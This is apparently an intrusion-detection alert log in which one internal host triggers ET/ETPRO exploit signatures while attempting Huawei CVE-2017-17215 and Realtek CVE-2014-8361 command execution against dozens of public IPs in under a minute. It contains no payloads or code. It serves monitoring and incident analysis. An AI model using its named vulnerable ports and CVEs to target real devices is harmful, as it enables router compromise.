ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.136.49.246

Timestamp:	07/20/24-23:01:08.383417
SID:	2829579
Source Port:	34102
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.77.227.245

Timestamp:	07/20/24-23:01:17.785461
SID:	2829579
Source Port:	60746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.56.151.249

Timestamp:	07/20/24-23:01:08.407500
SID:	2835222
Source Port:	46786
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 13.146.164.210

Timestamp:	07/20/24-23:01:06.525721
SID:	2025132
Source Port:	53966
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 178.209.30.110

Timestamp:	07/20/24-23:01:06.813789
SID:	2829579
Source Port:	46768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 2.24.106.226

Timestamp:	07/20/24-23:01:07.320609
SID:	2025132
Source Port:	43538
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.224.237.80

Timestamp:	07/20/24-23:01:15.000888
SID:	2835222
Source Port:	39250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 170.113.9.186

Timestamp:	07/20/24-23:01:14.502058
SID:	2027339
Source Port:	32882
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 92.52.112.233

Timestamp:	07/20/24-23:01:14.546163
SID:	2831300
Source Port:	52560
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.22.169.206

Timestamp:	07/20/24-23:01:08.392907
SID:	2835222
Source Port:	43728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.113.63.215

Timestamp:	07/20/24-23:01:36.781603
SID:	2835222
Source Port:	44268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.101.46.186

Timestamp:	07/20/24-23:01:36.781603
SID:	2829579
Source Port:	45842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.86.138.181

Timestamp:	07/20/24-23:01:36.798333
SID:	2829579
Source Port:	54130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 78.15.229.242

Timestamp:	07/20/24-23:01:19.351435
SID:	2025132
Source Port:	57618
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.187.147.201

Timestamp:	07/20/24-23:01:32.232613
SID:	2835222
Source Port:	53060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 159.11.170.80

Timestamp:	07/20/24-23:01:02.607576
SID:	2835222
Source Port:	49892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 41.74.147.143

Timestamp:	07/20/24-23:01:14.556765
SID:	2027339
Source Port:	35812
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 216.44.193.248

Timestamp:	07/20/24-23:01:14.530874
SID:	2027339
Source Port:	43200
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 78.238.220.249

Timestamp:	07/20/24-23:01:14.535851
SID:	2027339
Source Port:	40336
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 173.204.137.85

Timestamp:	07/20/24-23:01:14.550185
SID:	2831300
Source Port:	41260
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 189.184.222.159

Timestamp:	07/20/24-23:01:06.804996
SID:	2829579
Source Port:	47910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 89.83.219.148

Timestamp:	07/20/24-23:01:27.447773
SID:	2027339
Source Port:	33596
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.46.40.182

Timestamp:	07/20/24-23:01:25.390486
SID:	2835222
Source Port:	33624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 57.73.235.152

Timestamp:	07/20/24-23:01:32.250506
SID:	2829579
Source Port:	54136
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 145.152.149.135

Timestamp:	07/20/24-23:01:08.386561
SID:	2835222
Source Port:	58218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.233.111.48

Timestamp:	07/20/24-23:01:32.276800
SID:	2829579
Source Port:	57822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 220.0.252.243

Timestamp:	07/20/24-23:01:27.226586
SID:	2835222
Source Port:	44976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.247.234.47

Timestamp:	07/20/24-23:01:08.381149
SID:	2835222
Source Port:	41216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.218.110.52

Timestamp:	07/20/24-23:01:12.356737
SID:	2829579
Source Port:	39884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 14.89.47.143

Timestamp:	07/20/24-23:01:02.661070
SID:	2835222
Source Port:	52570
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.139.31.193

Timestamp:	07/20/24-23:01:12.504870
SID:	2835222
Source Port:	52320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 159.21.195.127

Timestamp:	07/20/24-23:01:19.948054
SID:	2025132
Source Port:	40046
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.152.158.12

Timestamp:	07/20/24-23:01:36.850220
SID:	2829579
Source Port:	47708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 202.159.56.129

Timestamp:	07/20/24-23:01:14.501031
SID:	2027339
Source Port:	46988
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.230.111.60

Timestamp:	07/20/24-23:00:59.021308
SID:	2835222
Source Port:	54950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 162.202.222.182

Timestamp:	07/20/24-23:01:14.536691
SID:	2831300
Source Port:	36314
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.232.250.10

Timestamp:	07/20/24-23:01:27.276711
SID:	2835222
Source Port:	37430
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 138.112.34.112

Timestamp:	07/20/24-23:01:27.361024
SID:	2027339
Source Port:	53210
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 170.245.248.200

Timestamp:	07/20/24-23:01:19.364895
SID:	2027339
Source Port:	47916
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 180.115.139.253

Timestamp:	07/20/24-23:01:14.547545
SID:	2027339
Source Port:	59698
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 46.91.29.61

Timestamp:	07/20/24-23:01:02.682054
SID:	2835222
Source Port:	33990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.84.205.54

Timestamp:	07/20/24-23:01:25.389455
SID:	2835222
Source Port:	56314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.173.88.11

Timestamp:	07/20/24-23:01:25.388974
SID:	2835222
Source Port:	58504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.196.105.18

Timestamp:	07/20/24-23:01:27.277398
SID:	2829579
Source Port:	37986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.64.178.193

Timestamp:	07/20/24-23:00:59.019819
SID:	2835222
Source Port:	39572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.150.219.200

Timestamp:	07/20/24-23:00:59.020988
SID:	2829579
Source Port:	32838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 152.161.224.79

Timestamp:	07/20/24-23:01:05.628783
SID:	2027339
Source Port:	49612
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 182.85.50.153

Timestamp:	07/20/24-23:00:59.019539
SID:	2829579
Source Port:	36272
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 85.227.114.118

Timestamp:	07/20/24-23:01:32.250506
SID:	2835222
Source Port:	34050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 183.89.166.139

Timestamp:	07/20/24-23:01:14.508164
SID:	2027339
Source Port:	39936
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 147.164.232.161

Timestamp:	07/20/24-23:01:14.513708
SID:	2027339
Source Port:	59664
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.242.220.137

Timestamp:	07/20/24-23:01:17.779183
SID:	2835222
Source Port:	45104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 125.124.24.16

Timestamp:	07/20/24-23:01:02.669609
SID:	2835222
Source Port:	46646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 116.119.255.178

Timestamp:	07/20/24-23:01:27.357902
SID:	2027339
Source Port:	35036
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.217.115.59

Timestamp:	07/20/24-23:01:04.858821
SID:	2829579
Source Port:	33616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.218.91.167

Timestamp:	07/20/24-23:01:27.229449
SID:	2829579
Source Port:	37706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 5.243.194.6

Timestamp:	07/20/24-23:01:27.354179
SID:	2831300
Source Port:	39718
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 138.35.105.236

Timestamp:	07/20/24-23:00:59.023356
SID:	2835222
Source Port:	52376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.24.38.215

Timestamp:	07/20/24-23:01:15.063530
SID:	2835222
Source Port:	54600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 34.213.231.189

Timestamp:	07/20/24-23:01:27.354427
SID:	2831300
Source Port:	47730
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.12.16.61

Timestamp:	07/20/24-23:01:02.703502
SID:	2835222
Source Port:	42176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.178.148.6

Timestamp:	07/20/24-23:01:12.539005
SID:	2835222
Source Port:	35590
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 147.253.173.13

Timestamp:	07/20/24-23:01:27.354992
SID:	2027339
Source Port:	53932
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 58.55.6.110

Timestamp:	07/20/24-23:01:14.504881
SID:	2831300
Source Port:	54226
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 77.222.205.40

Timestamp:	07/20/24-23:01:05.556569
SID:	2025132
Source Port:	50004
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.152.229.173

Timestamp:	07/20/24-23:00:59.020901
SID:	2835222
Source Port:	37268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.17.144.249

Timestamp:	07/20/24-23:01:32.257456
SID:	2829579
Source Port:	40106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 135.82.236.8

Timestamp:	07/20/24-23:01:14.570907
SID:	2027339
Source Port:	37710
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.132.29.177

Timestamp:	07/20/24-23:01:27.263646
SID:	2835222
Source Port:	49878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.209.16.109

Timestamp:	07/20/24-23:01:04.892226
SID:	2829579
Source Port:	46482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.97.73.167

Timestamp:	07/20/24-23:01:22.744419
SID:	2829579
Source Port:	40832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.204.6.4

Timestamp:	07/20/24-23:01:02.607205
SID:	2835222
Source Port:	32842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.140.115.231

Timestamp:	07/20/24-23:01:02.601732
SID:	2835222
Source Port:	52314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.97.33.116

Timestamp:	07/20/24-23:01:12.533730
SID:	2835222
Source Port:	37750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.178.196.156

Timestamp:	07/20/24-23:01:36.850101
SID:	2829579
Source Port:	32876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.101.65.229

Timestamp:	07/20/24-23:01:36.808711
SID:	2829579
Source Port:	51588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.38.51.236

Timestamp:	07/20/24-23:01:08.392180
SID:	2829579
Source Port:	37452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.238.130.84

Timestamp:	07/20/24-23:01:36.799485
SID:	2835222
Source Port:	51050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 223.37.180.162

Timestamp:	07/20/24-23:01:22.743516
SID:	2835222
Source Port:	35166
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 43.126.159.21

Timestamp:	07/20/24-23:01:27.352864
SID:	2027339
Source Port:	33822
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 188.74.101.140

Timestamp:	07/20/24-23:01:14.559132
SID:	2027339
Source Port:	45328
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.250.244.14

Timestamp:	07/20/24-23:01:06.798720
SID:	2835222
Source Port:	42640
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 213.249.133.80

Timestamp:	07/20/24-23:01:14.507784
SID:	2027339
Source Port:	49260
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 5.63.79.183

Timestamp:	07/20/24-23:01:22.745836
SID:	2835222
Source Port:	49906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.28.17.113

Timestamp:	07/20/24-23:01:02.620832
SID:	2835222
Source Port:	42426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.230.84.239

Timestamp:	07/20/24-23:01:06.801747
SID:	2829579
Source Port:	56092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.92.237.222

Timestamp:	07/20/24-23:00:59.019716
SID:	2835222
Source Port:	33704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.156.147.3

Timestamp:	07/20/24-23:01:27.229449
SID:	2835222
Source Port:	52816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 135.82.236.8

Timestamp:	07/20/24-23:01:14.570907
SID:	2831300
Source Port:	37710
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.151.215.75

Timestamp:	07/20/24-23:01:02.603717
SID:	2835222
Source Port:	47084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 122.26.122.109

Timestamp:	07/20/24-23:01:07.276989
SID:	2025132
Source Port:	35090
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.245.110.242

Timestamp:	07/20/24-23:00:59.020375
SID:	2829579
Source Port:	50918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 109.242.201.39

Timestamp:	07/20/24-23:01:14.544045
SID:	2027339
Source Port:	37006
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 140.192.14.130

Timestamp:	07/20/24-23:01:19.377087
SID:	2027339
Source Port:	40146
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 62.79.48.97

Timestamp:	07/20/24-23:01:27.276711
SID:	2835222
Source Port:	35450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.77.114.34

Timestamp:	07/20/24-23:01:02.613618
SID:	2835222
Source Port:	44900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 8.104.228.104

Timestamp:	07/20/24-23:01:14.521013
SID:	2027339
Source Port:	45040
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 83.224.119.168

Timestamp:	07/20/24-23:01:14.521865
SID:	2027339
Source Port:	41888
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 72.60.254.31

Timestamp:	07/20/24-23:01:05.941292
SID:	2025132
Source Port:	34744
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 140.155.1.23

Timestamp:	07/20/24-23:01:17.790236
SID:	2829579
Source Port:	35968
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 192.27.160.139

Timestamp:	07/20/24-23:01:36.793382
SID:	2829579
Source Port:	45050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

